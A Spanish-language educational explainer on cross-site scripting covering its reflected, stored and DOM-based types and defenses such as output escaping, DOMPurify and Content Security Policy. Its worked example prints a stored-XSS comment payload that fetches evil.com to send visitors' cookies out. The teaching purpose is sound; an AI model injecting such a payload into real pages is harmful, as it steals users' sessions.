Saltar al contenido
Explorar conocimiento

concepto · intermedio · 2 min de lectura

XSS — Cross-Site Scripting

XSS permite a un atacante inyectar scripts maliciosos en páginas web vistas por otros usuarios, robando sesiones, datos o redirigiendo a sitios falsos.

No requiere conocimientos previos.

Alcance en breve

Cubre

  • XSS as a concept

No cubre

  • implementation details

Supone

  • The reader understands relevant fundamentals.

Resumen

Cross-Site Scripting (XSS) ocurre cuando una aplicación web incluye datos no confiables en una página sin validarlos o escaparlos adecuadamente. Un atacante inyecta JavaScript malicioso —usualmente a través de un formulario o parámetro URL— que se ejecuta en el navegador de la víctima.

Los tres tipos: Reflected (el script viene en el request y se ejecuta inmediatamente), Stored (el script se guarda en la base de datos y se ejecuta cada vez que alguien ve el contenido), y DOM-based (el script manipula el DOM sin pasar por el servidor). La defensa principal es escapar output: nunca insertar datos de usuario en HTML sin sanitización.

Alcance y supuestos

Cubre XSS, sus tipos y defensas. Asume familiaridad con desarrollo web.

Modelo mental

Alguien pega un papel falso en una cartelera pública. El papel parece oficial pero tiene instrucciones maliciosas. XSS es pegar JavaScript falso en una página web que otros usuarios van a ver.

Uso práctico

  • ❌ Nunca usar innerHTML con datos de usuario. Escapar siempre con textContent o librerías como DOMPurify.
  • ✅ Content Security Policy (CSP) como defensa en profundidad.

Ejemplo trabajado: XSS stored en un comentario

Un atacante publica un comentario: Que buen post! <script>fetch('https://evil.com/steal?c='+document.cookie)</script>. Cada visitante que carga la página ejecuta el script y envía sus cookies al atacante. Con CSP y sanitización de HTML, el script nunca se ejecuta.

Evidencia

  • OWASP mantiene una guía completa de prevención de XSS. Es el riesgo de seguridad más común en aplicaciones web.

Fuentes citadas